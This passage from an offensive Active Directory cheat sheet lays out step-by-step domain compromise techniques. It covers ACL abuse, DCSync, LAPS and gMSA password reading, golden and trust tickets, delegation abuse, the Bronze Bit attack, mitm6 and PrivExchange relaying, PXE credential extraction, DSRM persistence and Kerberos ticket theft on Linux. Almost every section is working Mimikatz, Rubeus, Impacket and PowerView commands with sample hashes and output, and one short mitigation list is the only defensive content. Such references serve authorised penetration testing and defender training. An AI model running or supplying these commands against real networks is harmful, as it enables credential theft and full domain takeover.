./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -  
mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain  
'domain.local' -Password 'Welcome01!'
```

- WriteDACL on Domain

```
# Give DCSync right to the principal identity  
Import-Module .\PowerView.ps1  
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force  
$Cred = New-Object  
System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1',  
$SecPassword)  
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local'  
-Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
```

- WriteDACL on Group

```
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights  
WriteMembers -PrincipalIdentity User1  
net group "INTERESTING_GROUP" User1 /add /domain
```

## WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity  
'controlled_principal'
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

## ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#) section.

```
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-  
admpwd','ms-mcs-admpwdexpirationtime'
```

## ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```

## ForceChangePassword

An attacker can change the password of the user this ACE applies to. This can be achieved with Set-DomainUserPassword (PowerView module).

```
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

## Trust relationship between domains

- One-way
  - Domain B trusts A
  - Users in Domain A can access resources in Domain B
  - Users in Domain B cannot access resources in Domain A
- Two-way
  - Domain A trusts Domain B
  - Domain B trusts Domain A
  - Authentication requests can be passed between the two domains in both directions

## Enumerate trusts between domains

```
nltest /trusted_domains
```

or

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
```

SourceName	TargetName	TrustType	TrustDirection
-----	-----	-----	-----
domainA.local	domainB.local	TreeRoot	Bidirectional

## Exploit trusts between domains

 Require a Domain-Admin level access to the current domain.

Source	Target	Technique to use	Trust relationship
Root	Child	Golden Ticket + Enterprise Admin group (Mimikatz /groups)	Inter Realm (2-way)
Child	Child	SID History exploitation (Mimikatz /sids)	Inter Realm Parent-Child (2-way)
Child	Root	SID History exploitation (Mimikatz /sids)	Inter Realm Tree-Root (2-way)



Source	Target	Technique to use	Trust relationship
Forest A	Forest B	PrinterBug + Unconstrained delegation ?	Inter Realm Forest or External (2-way)

## Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created is the Forest Root.

Prerequisite:

- KRBTGT Hash
- Find the SID of the domain

```
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

```
# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```

- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.

```
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT
/domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811
/sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
```

## Forest to Forest Compromise - Trust Ticket

- Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

### Dumping trust passwords (trust keys)

Look for the trust name with a dollar (\$) sign at the end. Most of the accounts with a trailing \$ are computer accounts, but some are trust accounts.

```
lsadump::trust /patch
```

or find the TRUST\_NAME\$ machine account hash

### Create a forged trust ticket (inter-realm TGT) using Mimikatz

```
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /
rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com
/ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-
1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b
/user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\
mcorp-ticket.kirbi
```

## Use the Trust Ticket file to get a TGS for the targeted service

```
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local  
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-  
dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```


Inject the TGS file and access the targeted service with the spoofed rights.

```
kirbikator lsa .\ticket.kirbi  
ls \\machine.domain.local\c$
```

## Kerberos Unconstrained Delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

 Unconstrained delegation used to be the only option available in Windows 2000

## SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Prerequisites:

- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS\_UF\_TRUSTED\_FOR\_DELEGATION**
- Must not have **ADS\_UF\_NOT\_DELEGATED** flag
- User must not be in the **Protected Users** group
- User must not have the flag **Account is sensitive and cannot be delegated**

### Find delegation

Check the TrustedForDelegation property.

```
# From https://github.com/samratashok/ADModule  
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```

or

```
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10  
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```

NOTE: Domain controllers usually have unconstrained delegation enabled

### SpoolService status

Check if the spool service is running on the remote host

```
ls \\dc01\pipe\spoolss  
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

### Monitor with Rubeus

Monitor incoming connections from Rubeus.

```
Rubeus.exe monitor /interval:1
```

### Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC\$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From
https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python demontor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```

If the attack worked you should get a TGT of the domain controller.

### Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`

Then you can use DCSync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`

### Mitigation

- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service

## Kerberos Constrained Delegation

Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

```
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```

```
# Exploit with Impacket
$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate
Administrator -dc-ip 10.10.10.10
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

# Exploit with Rubeus
$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash
/impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com
/msdsspn:cifs/srv01.domain.com /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH
/impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com"
/altservice:cifs,http,host,rpcss,wsman,ldap /ptt
$ dir \\dc.domain.com\c$
```

## Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

### 1. Import **Powermad** and **Powerview**

```
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```

### 2. Get user SID

```
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid |
Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier
-match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
```

### 3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

```
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-
SecureString 'Weakest123*' -AsPlainText -Force)
```

### 4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

```
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -
Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -
ArgumentList "0:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$( $ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
```

```
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalffotheridentity' | select -expand msds-allowedtoactonbehalffotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
```

```
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "0:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;
$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[]
($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer M3DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalffotheridentity'=$SDBytes}
```

```
# alternative
StandIn_Net35.exe --computer m3dc --sid SID_FROM_PREVIOUS_COMMAND
```

## 5. Use Rubeus to get hash from password

```
Rubeus.exe hash /password:'Weakest123*' /user:swktest$
/domain:factory.lan
[*] Input password           : Weakest123*
[*] Input username           : swktest$
[*] Input domain              : factory.lan
[*] Salt                      : FACTORY.LANswktest
[*]      rc4_hmac              : F8E064CA98539B735600714A1F1907DD
[*]      aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*]      aes256_cts_hmac_sha1 :
0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*]      des_cbc_md5           : BA297CFD07E62A5E
```

## 6. Impersonate domain admin using our newly created machine account

```
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD
/impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
/altservice:cifs,http,host,pcss,wsman,ldap
.\Rubeus.exe s4u /user:swktest$
/aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /
impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
/altservice:cifs,http,host,pcss,wsman,ldap
```

```
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
```

```
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPu1kuTEF0oi
cwJaAD
AgECor4wHBsEY2lmcxsUZGMwMS[... ]PMIIFC6ADAgESoQMCAQ0iggT9BIIE
LmZhy3RvcnkubGFu
```

```
[*] Action: Import Ticket
[+] Ticket successfully imported!
```

## Kerberos Bronze Bit Attack - CVE-2020-17049

An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](#).

⚠ Patched Error Message : [-] Kerberos SessionError:  
KRB\_AP\_ERR\_MODIFIED(Message stream modified)

Requirements:

- Service account's password hash
- Service account's with Constrained Delegation or Resource Based Constrained Delegation
- [Impacket PR #1013](#)

**Attack #1** - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

```
# forwardable flag is only protected by the ticket encryption which uses the
service account's password
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes
<LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip
<Domain controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes
aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey
4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4
test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

**Attack #2** - Write Permissions to one or more objects in the AD

```
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-
SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword
/user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate
User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5
-aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc
```

```
test.local/AttackerService -force-forwardablelet-ADComputer Service2 -
PrincipalsAllowedToDelegateToAccount AttackerService$
```

```
# Load the ticket
```

```
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```

## Relay delegation with mitm6

Prerequisites:

- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
```

```
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh
attacker-wpad
then use rubeus with s4u to relay the delegation
```

## PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.

 You need a shell on a user account with a mailbox.

1. Exchange server hostname or IP address

```
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U
domain/username
```

2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

```
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```

3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

```
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u
user_exchange -p pass_exchange
```

```
# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

```
python secretdump.py xxxxxxxxxxxx -just-dc
```

```
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
```

5. Clean your mess and restore a previous state of the user's ACL

```
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```

Alternatively you can use the Metasploit module

[use auxiliary/scanner/http/exchange\\_web\\_server\\_pushsubscription](#)

Alternatively you can use an all-in-one tool : Exchange2domain.

```
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```

## PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

```
net user hacker Password123! /add
net localgroup administrators /add hacker
```

- Extract the pre-boot image (wim files) using [PowerPXE.ps1 \(https://github.com/wavestone-cdt/powerpxe\)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

```
# Import the module
PS > Import-Module .\PowerPXE.ps1

# Start the exploit on the Ethernet interface
PS > Get-PXECreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 »

# Wait for the DHCP to get an address
>> Get a valid IP address
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101

# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3

# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
```



```

>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.

# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1

```

## DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrAdminLogonBehavior

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrAdminLogonBehavior -value 2 -PropertyType DWORD

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name
DsrAdminLogonBehavior -value 2

```

## Impersonating Office 365 Users on Azure AD Connect

Prerequisites:

- Obtain NTLM password hash of the AZUREADSSOACC account  
`mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit`
- AAD logon name of the user we want to impersonate (userPrincipalName or mail)  
`elrond@contoso.com`
- SID of the user we want to impersonate  
`S-1-5-21-2121516926-2695913149-3163778339-1234`

Create the Silver Ticket and inject it into Kerberos cache:

```

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

```

Launch Mozilla Firefox, go to about:config

```
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.

## Linux Active Directory

### CCACHE ticket reuse from /tmp

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

### CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : <https://github.com/TarlogicSecurity/tickey>

```
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000], look for tickets
in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115], look for
tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113], look for tickets
in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

### CCACHE ticket reuse from keytab

```
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

### Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use [klist](#) to read the keytab file and parse its content. The key that you see when the [key type](#) is 23 is the actual NT Hash of the user.

```
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
```

```
[26] Service principal: host/COMPUTER@DOMAIN
```

```
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
```

[...]

On Linux you can use [KeyTabExtract](#): we want RC4 HMAC hash to reuse the NLTM hash.

```
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
    REALM : DOMAIN
    SERVICE PRINCIPAL : host/computer.domain
    NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost`.

```
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H
"31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$
31d6cfe0d16ae931b73c59d7e0c089c0
```

## References

- [Explain like I'm 5: Kerberos - Apr 2, 2013 - @roguelynn](#)
- [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#)
- [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](#)
- [Abusing Kerberos: Kerberoasting - Haboob Team](#)
- [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](#)
- [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](#)
- [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](#)
- [Becoming Darth Sidious: Creating a Windows Domain \(Active Directory\) and hacking it - @chryzsh](#)
- [BlueHat IL - Benjamin Delpy](#)
- [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger](#)
- [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](#)
- [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](#)
- [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](#)
- [Dumping Domain Password Hashes - Pentestlab](#)
- [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](#)
- [Exploiting PrivExchange - April 11, 2019 - @chryzsh](#)
- [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](#)
- [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](#)
- [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](#)
- [Fun with LDAP, Kerberos \(and MSRPC\) in AD Environments](#)

- [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](#)
- [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](#)
- [Golden ticket - Pentestlab](#)
- [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](#)
- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](#)
- [Invoke-Kerberoast - Powersploit Read the docs](#)
- [Kerberoasting - Part 1 - Mubix "Rob" Fuller](#)
- [Passing the hash with native RDP client \(mstsc.exe\)](#)
- [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec \(and PowerView\)](#)
- [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](#)
- [Pen Testing Active Directory Environments - Part III: Chasing Power Users](#)
- [Pen Testing Active Directory Environments - Part IV: Graph Fun](#)
- [Pen Testing Active Directory Environments - Part V: Admins and Graphs](#)
- [Pen Testing Active Directory Environments - Part VI: The Final Case](#)
- [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](#)
- [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](#)
- [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](#)
- [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](#)
- [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](#)
- [Roasting AS-REPs - January 17, 2017 - harmj0y](#)
- [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch \(2018 Edition\) - Adam Toscher](#)
- [Using bloodhound to map the user network - Hausec](#)
- [WHAT'S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](#)
- [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](#)
- [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](#)
- [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](#)
- [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](#)
- [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](#)
- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](#)
- [\[PrivExchange\] From user to domain admin in less than 60sec ! - davy](#)
- [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](#)
- [Kerberos \(II\): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](#)
- [Attacking Read-Only Domain Controllers \(RODCs\) to Own Active Directory - Sean Metcalf](#)
- [All you need to know about Keytab files - Pierre Audonnet \[MSFT\] - January 3, 2018](#)
- [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](#)
- [Playing with Relayed Credentials - June 27, 2018](#)
- [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](#)
- [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](#)

- [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](#)
- [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](#)
- [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](#)
- [A Red Teamer's Guide to GPOs and OUs - APRIL 2, 2018 - @wald0](#)
- [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](#)
- [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](#)
- [Active-Directory-Exploitation-Cheat-Sheet - @buftas](#)
